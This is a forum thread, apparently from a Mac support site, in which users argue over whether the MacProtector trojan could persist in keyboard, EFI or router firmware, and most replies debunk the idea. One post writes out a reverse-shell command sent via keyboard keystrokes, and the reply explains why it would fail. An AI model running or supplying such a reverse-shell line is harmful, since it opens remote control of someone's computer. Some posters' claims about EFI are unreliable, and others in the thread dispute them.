Mac Malware/poisoned images

The correct way to deal with this Trojan

You do not know the correct way to deal with this trojan. By your own admission, you have never examined it. Yet you feel you know better on this topic than people who have?

Further, the trojan is not gaining root access, as has been explained to you countless times before. What gains root access is Apple's installer, which is simply moving components into the necessary locations and then opening the app. The MacProtector app itself does not ever have root permissions!

As to your notions of a trojan inserting itself into firmware, you have also been told by others here that that is not a realistic threat on a Mac. If you have real information about an exploit that can do that, other than a theoretical keyboard exploit from two years ago that has never been heard of since, please share specifics. Providing us links to exploits that gain access to the BIOS on Windows PCs has no bearing to the Mac.

Thomas A Reed wrote:

If you have real information about an exploit that can do that, other than a theoretical keyboard exploit from two years ago that has never been heard of since, please share specifics.

The actual details of the "exploit" are readily available online, but so is a lot of hogwash about what it could do, apparently written by a few people that never actually studied those details, for instance in this article from the aptly named "SemiAccurate" web site.

The only thing actually demonstrated at the Black Hat convention was a very rudimentary key logger. In order to get the logged keystrokes out of the keyboard, it was necessary to manually type a specific keystroke sequence, at which point the logged keystrokes appeared onscreen as if a user were typing them. Obviously, this is not particularly useful to a malware author!

The paper presented by "K. Chen" at the convention explains that this hack could also be used along with a rootkit already installed in the OS to run terminal commands at startup time, just as if a user were typing them in from the keyboard. It isn't inconceivable this could be exploited for malicious purposes (although it would be very tricky to get the timing right or to include much code in the available flash memory in the keyboard). Another problem is if the exploit involves sending anything back to the IP address of the attacker's machine, this IP address must be hard coded into the exploit, meaning if the host site has been shut down (as most are shortly after being detected) the exploit will fail.

However, if the rootkit isn't already there, even if the code in the keyboard is set up to execute automatically after some time without being called by the rootkit, getting that code to reinstall the rootkit would be the equivalent of trying to do that by blindly typing the necessary commands to start terminal & insert the rootkit code into the OS files on the hard drive. Getting the timing right for this to work would be incredibly difficult -- there is no way for the code to poll the startup process until the rootkit is already installed (which of course it is not) & since the boot sequence varies by model, hardware, & the state of the pre-linked kernel cache file that normally speeds up startup & initialisation boot processes, no one set of timing delays would work on more than a few Macs. It would be a huge amount of effort for very little benefit for the malware author, who do not forget is limited by the relatively tiny amount of flash memory available in the keyboard.

And if that were not enough, just getting the code into the keyboard's firmware is quite difficult to begin with. In the demo, this was all done manually, by exploiting Apple's firmware updater utility to install a hacked firmware update file. If you have ever installed a firmware update, you probably know this requires authentication. If the keyboard was already hacked, it might not be difficult to fake that (assuming you already have the password), but of course what you are trying to do is install the hack so you can't use it yet.

So, after considering all of this it should become obvious why this exploit has not made the news since 2009.

ds store wrote:

As you know EFI loads before and works independently of OS X with complete drive access (unencytped files) and Internet capability.

No, it does not. In fact, OS X doesn't use the EFI partition on a hard drive for anything at all besides a temporary staging area for firmware updates (which can't be accessed until the Mac is restarted in a special 'flash firmware' mode). The EFI file you mentioned (presumably /System/Library/CoreServices/boot.efi?) does basic hardware initialization and selects which operating system to use. Beyond that, on a Mac running OS X it has no function, & it certainly does not have Internet access capability at boot time, nor does it have "complete drive access."

The Mac boot process is quite complex. For an introduction to that, see The Boot Process.

Beyond that, no program that loads "directly into memory" (whatever that is supposed to mean beyond what every program does) has access to the EFI firmware. The EFI firmware is not the same thing as the boot.efi file. Modifying the boot.efi file is possible, but not easily done, nor would it get you any special capabilities or file access without the addition of what amounts to a separate, functional OS independent of OS X somewhere on the drive.

You (or your back alley sources?) seem to be confused about what EFI is, how & when Mac firmware is accessed, & the Mac boot process in general, especially how it differs from Windows EFI implementations.

As for the revenge motive, that is silly. Serious malware authors are in this for money, not for revenge, & especially not for something as trivial as tracking data that never leaves the phone & was only retained for up to a year because of programming error.

ds store wrote:

The object of the keyboard firmware exploit is not to interact with the rootkit, but to allow it back in.

Command - Space - Terminal - Return

exec /bin/sh 0</dev/tcp/IP/PORT 1>&0 2>&0 - Return - Return

Plenty of room in the keyboard firmware for that.

And exactly how do you think that this by itself would allow a rootkit back into the system?

To begin with, the Mac has to have the shortcut to bring up Spotlight both enabled & set to command + space; otherwise Terminal won't be launched & the key sequence will just result in it being sent to whatever is the frontmost app. (On my Macs, that would just open a QuickView window if Finder was frontmost & who knows what else if some other app was.) The sequence must not be sent when a user is typing or it will be mixed with whatever actually is typed from the keyboard. If the user is at the keyboard, it will be hard to miss the Spotlight menu item opening & Terminal launching, letting the user know something weird is going on.

But let's say all that happens. Unless "IP" is the actual IP address of a working site, nothing happens except a long timeout. We already know that the rogue sites are shut down or blocked by ISP's (or the malware authors themselves) very quickly after they appear. There is a good reason for this: they leave a trail back to whoever is running the site. Not very appealing if you are a criminal trying to use the anonymity of the Internet to avoid prosecution & too easy to get blocked if you leave it up for long.

But let's say the site is active. How does the author send any commands back to the Mac & get them past the incoming firewall, get them admin or better access privileges, & get whatever they are intended to do to avoid being stopped by the OS's security features without the rootkit already in place?

Do you see why this kind of thing is nowhere as easy to do in practice as it as it might seem in theory?

I think ds store has point for something. On security paranoia is never enough, and there's not a worse insecurity than a false sense of security. If I would write a malware I would also find a fallback to get it back on an infected system once the user erases those files. If you think about a typical mac system would have a Time Capsule or an Airport Extreme. For example if a malware would flash the firmware of those devices it will be very hard to get rid of it. Moreover Apple doesn't ship any firmware for those devices on installation disks that ships together with them. I totally agree with him on a "bird's eye" point of view about this matter. Practically and pragmatically it's very hard to achieve those results for malware on mac systems, but who knows? I don't think it would cost that much to Apple to include firmwares on both computers and other devices installation disks.

Rayced wrote:

If I would write a malware I would also find a fallback to get it back on an infected system once the user erases those files.

Just because you want to find something doesn't mean it exists.

For example, flashing firmware on a Mac requires the use of software tools that are very difficult to compromise unless you have direct, interactive access to the machine. You might be able to do it if you were a very good coder & sure of the hardware & its firmware that you were targeting, but don't forget you have very limited storage space to work with in the device's flash memory so you can't use very complex code. You have to be very careful not to affect the functionality of the device; otherwise all you will have accomplished is "bricking" the device & you won't be able to use it for anything. A Mac that won't start up with your compromised keyboard attached or an Airport Extreme that won't connect to the Internet gets you nothing.

You also have to solve the very difficult problem of how to keep an IP address up & running for your hack to "phone home" to & how keep that from leading back to you.

Regarding the "who knows" thing, if someone really knew how to do all that's required to make this a practical exploit, don't you think they would have done that by now, & done so on a large scale basis? The basic ideas for this type of exploit have been around for at least six years & probably much longer -- anyone who played around with programming micro controllers in the 1980's probably at least thought about writing a "Hello world" program that used the same technique that the Black Hat hacker demonstrated.

In fact, the only thing that made that noteworthy was it was done with Apple hardware. The hacker even explained that the hack was not limited to Apple products, but that was largely overlooked because involving the Apple name & implying its products were more vulnerable was more buzz-worthy than the truth.

Two years ago there was a WordPress malware doing that, it had a fallback to re-install files that were deleted on a top layer. To get rid of it you had to re-install the whole thing and make a new database. Even so people were getting it back when re-importing the old database backup that wasn't sanitized.

I know you would say it is something completely different, I'm talking about the approach to this matter.

So that isn't a scenario that "I want to see", but actually something a smart malware writer does. As far as we know there isn't yet something that resemble to what ds store is describing here. Or probably it wasn't yet discovered.

What he is addressing are probably potential vulnerabilities, and I would have his exact same approach if I got my machine infected by a malware: re-install from scratch and probably not recover anything from backups with the automated Time Machine methods and to be sure I would also get back to a sure firmware shipped on a physical support. I repeat myself: I don't think it would cost that much to Apple including those firmwares on the physical supports shipped together with its hardware.

Call me paranoid, but I'm one of those guys not using an Administrator user as per-daily use (as mentioned also by official Apple security guide which can be easly found on this site for both Mac Os X Leopard and SL), and I don't want to sound rude but I've read some so self-defined experts on these threads about mac security saying it was better to use an administrator user on a per-daily use because of "some applications would need that".

ds store wrote:

No the EFI/APPLE/EXTENSIONS/Firmware.scap file.

Do you know what that is?

Yes, I do. But do you know it is meant for hacking generic BIOS-based PC hardware so it can start up running OS X? Do you have any idea what it would do if applied to a real Apple Mac's hardware? Once again, have you personally tested anything at all that is relevant to this issue, or is this just more hearsay & vague, unfounded speculation?

R C-R wrote: no program that loads "directly into memory"

This one does, it's like a miniture operating system, even running while another operating system is running. Stick it in a USB key and stick it in any Mac or PC and it has complete unfettered access to anything on the entire machine that's not individually encrypted.

1. All programs load into memory. That's a necessary but far from sufficient condition to get them to be executed by the OS.

2. Nothing you can put on a USB key or any other drive just automatically takes over the operation of a Mac without the consent of the OS. It is called the operating system because it is in control of the operation of the computer. If you want another OS to control it, you need to start up into that OS, install virtual machine software compatible with (& limited by) the host OS, etc.

3. Even if the above were not true, what in the world does this have to do with malware people download from the Internet? Are you imagining some malware opening a window requesting users to kindly plug a USB key into their Macs or something? If not, what are you talking about?

You really don't seem to understand much about the fundamental differences between PC's & Macs. I don't know if this is the source of your confusion or what, but your comments are becoming progressively less relevant to Macs as this discussion progresses. You are not helping anyone by doing this, just confusing them & making it harder for them to decide what to do about a very straightforward trojan with well understood characteristics.

WordPress has nothing to do with running OS X on your Mac or even anything to do with its files. It is a blogging site hosted by wordpress.com.

ds store wrote:

Your forgetting the previous (and now assumed deleted) root kit (who put the commands in the keyboard firmware) had the IP address of the user, thus it doesn't matter where the attacker launches from if they have the users IP and a open port.

You have it backwards. It isn't the user's IP address that has to be entered into the command line, it is attacker's.

A wild guess would be ...

… nothing more than a wild guess. It is not a substitute for facts, researching & understanding the subject, or most particularly for actually testing your speculations to see if they have even the slightest possibility of occurring in the real world.

If it makes you feel any better & you actually do get infected, take your Mac down to as close to factory-new condition as you can manage, check every user & system setting file with whatever you like before reintroducing it into your shiny new system, & do whatever else you think is necessary to remove all real & theoretical traces of the malware.

This will probably cost you a few days of lost productivity but if that is what you want to do, nobody is going to stop you.

R C-R probably thou should read what other people write. I was using the example of that wordpress malware to explain the concept behind a good written malware and a poor one. The good one has more than one layer, so if you erase the most prominent layer, the one underlaying will take care of it.

In my country we say that there's no worst blind than the one whom doesn't want so see, I don't know if in Texas that makes sense too. Have a good day.